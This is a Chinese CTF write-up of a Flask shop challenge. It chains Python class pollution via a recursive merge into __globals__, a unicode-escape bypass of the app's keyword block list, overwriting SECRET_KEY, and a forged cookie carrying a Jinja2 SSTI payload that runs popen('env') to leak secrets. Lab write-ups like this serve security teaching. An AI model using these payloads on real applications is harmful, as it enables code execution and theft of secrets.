共计9371个字符,预计需要花费24分钟才能阅读完成。
题目
题目提示:咖啡店的 admin 不小心泄露了他的源码,还好只是一部分
给出了部分源码:
app.py
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;"> 该商品暂时无法购买,请稍后再试!</p>'
products = [{"id": 1, "name": " 美式咖啡 ", "price": 9.99, "image": "1.png"},
{"id": 2, "name": " 橙 c 美式 ", "price": 19.99, "image": "2.png"},
{"id": 3, "name": " 摩卡 ", "price": 29.99, "image": "3.png"},
{"id": 4, "name": " 卡布奇诺 ", "price": 19.99, "image": "4.png"},
{"id": 5, "name": " 冰拿铁 ", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2> 添加商品 </h2>
<form id="productForm">
<p> 商品名称: <input type="text" id="name"></p>
<p> 商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()"> 添加商品 </button>
</form>
<script>
function submitForm() {const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {'Content-Type': 'application/json',},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error(' 错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return " 该商品违规,无法上传 "
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return " 添加失败 1 "
merge(json_data, add)
return " 你无法添加商品哦 "
except (UnicodeDecodeError, json.JSONDecodeError):
return " 添加失败 2 "
except TypeError as e:
return f" 添加失败 3 "
except Exception as e:
return f" 添加失败 4 "
return " 添加失败 5 "
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app.run(host="0.0.0.0",port=5014)
index.html
<!DOCTYPE html>
<html>
<head>
<title> 咖啡店 </title>
</head>
<body>
<h1>Hello {{session.name}}</h1>
<!-- 错误提示 -->
{% if error_message %}
{{error_message|safe}}
{% endif %}
<h2> 今日推荐商品 </h2>
<div class="products">
{% for product in products %}
<div class="product">
<img src="{{url_for('static', filename='img/' + product.image) }}"
alt="{{product.name}}"
width="200"
height="200">
<h3>{{product.name}}</h3>
<p> 价格:¥{{product.price}}</p>
<form method="POST">
<button type="submit"> 立即购买 </button>
</form>
</div>
{% endfor %}
</div>
<style>
body {background-image: url("{{ url_for('static', filename='img/6.png') }}");
background-size: cover;
background-position: center;
background-repeat: no-repeat;
min-height: 100vh; /* 确保背景覆盖整个屏幕高度 */
margin: 0; /* 移除默认边距 */
padding: 20px; /* 给内容添加内边距 */
}
.products {
display: flex;
gap: 20px;
flex-wrap: wrap;
}
.product {
border: 1px solid #ddd;
padding: 10px;
text-align: center;
width: 250px;
}
button {
background-color: #4CAF50;
color: white;
padding: 10px 20px;
border: none;
cursor: pointer;
}
button:hover {opacity: 0.8;}
</style>
</body>
</html>
思路
发现 /add
路由下加载了我们提交的 json 数据后,经过 def merge(src, dst)
方法,可以修改 def add()
函数的属性。而这个函数在主程序下,可以利用 __globals__
方法修改所有全局变量的属性。
我们现在只知道部分源代码,因此得想方设法获取全部的源代码。由于 flask 默认静态目录为 static
,改成 ../
(或者 /app
)后就能读取上一级目录,即 app.py
文件所在目录。我们传进以下 json 数据:
{"__globals__": {"app": {"static_folder": "../"}}}
经过 def merge(src, dst)
,就相当于修改了 flask 的静态文件目录,即相当于运行了以下代码:
add.__globals__.app.static_folder = "../"
但是传入的 json 首先会经过 check
函数检查,我们不知道这个函数的具体内容,果然:
提示商品违规,被过滤,试了一下可以用 unicode 编码绕过,改成:
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0061\u0070\u0070": {"\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "\u002e\u002e\u002f"}}}
到这里就成功了,虽然提示我们无法添加商品。
我们访问 /static/app.py
读取全部源码:
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;"> 该商品暂时无法购买,请稍后再试!</p>'
products = [{"id": 1, "name": " 美式咖啡 ", "price": 9.99, "image": "1.png"},
{"id": 2, "name": " 橙 c 美式 ", "price": 19.99, "image": "2.png"},
{"id": 3, "name": " 摩卡 ", "price": 29.99, "image": "3.png"},
{"id": 4, "name": " 卡布奇诺 ", "price": 19.99, "image": "4.png"},
{"id": 5, "name": " 冰拿铁 ", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2> 添加商品 </h2>
<form id="productForm">
<p> 商品名称: <input type="text" id="name"></p>
<p> 商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()"> 添加商品 </button>
</form>
<script>
function submitForm() {const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {'Content-Type': 'application/json',},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error(' 错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return " 该商品违规,无法上传 "
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return " 添加失败 1 "
merge(json_data, add)
return " 你无法添加商品哦 "
except (UnicodeDecodeError, json.JSONDecodeError):
return " 添加失败 2 "
except TypeError as e:
return f" 添加失败 3 "
except Exception as e:
return f" 添加失败 4 "
return " 添加失败 5 "
@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return " 非法权限 "
if request.method == 'POST':
return '<script>alert(" 上传成功!");window.location.href="/aaadminnn";</script>'
upload_form = '''
<h2> 商品管理系统 </h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3> 上传新商品 </h3>
<input type=file name=file required style="margin:10px"><br>
<small> 支持格式:jpg/png(最大 2MB)</small><br>
<input type=submit value=" 立即上传 " style="margin:10px;padding:5px 20px">
</form>
'''
original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form
return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]
# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)
param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]
# 增强 WAF 防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True
# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)
def check1(value):
if is_automated_request():
print("Automated tool detected")
return True
# 使用 WAF 机制检查请求的合法性
if not waf_check(value):
return True
return False
app.run(host="0.0.0.0",port=5014)
发现还有个 /aaadminnn
路由,里面在执行 render_template_string(new_template)
的时候会出现模板注入漏洞,即可以利用 session.get('permission')
将 cookie 里面的 permission 设置成模板注入的 payload 即可。
为了注入 cookie,我们要知道 SECRET_KEY
(也可以不用)。直接修改 SECRET_KEY
即可,上传以下 json 数据:
{"__globals__":{"app":{"config":{"SECRET_KEY":"test"}}}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0063\u006f\u006e\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"test"}}}}
将 SECRET_KEY
改成 test
,这样就已知了,然后用 flask_session_cookie_manager 构造 cookie 来注入。
但是这 check1(permission)
函数会检测 permission
中是否有关键字。没关系,将全局变量 param_black_list
置空即可,构造以下 json 数据:
{"__globals__": {"param_black_list": []}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074": []}}
接下来就是构造 cookie 了,默认 cookie 为 {"name": "customer", "permission": 0}'
。利用 SSTI 漏洞,我们改成:
{"name": "admin", "permission": "{{\"\".__class__.__base__.__subclasses__()[133].__init__.__globals__[\"popen\"](\"env\").read()}}"}'
然后用 flask_session_cookie_manager 构造 cookie,得到:
.eJwdyUEKwyAQRuG7_CuFEijZ9SqZIGMzFEFHybTdSO4ecff4XodyEbzAR0mKB5qcJZmlqgN7JxCWEN6ZzUIYFdlkhv3iVBnu_PZc131o0vSd-5Nr5DzeRmi1iRJ2RxD9E_xyCh_OXxeuG1I8LII.aEUxjA.077jfzP-R_zmw1X0-pYeqr9GWEQ
访问 /aaadminnn
,在环境变量中得到 flag:
随机生成的 flag 为 flag{ccc959f2-8485-4123-bac1-ced150b4a6c1}
。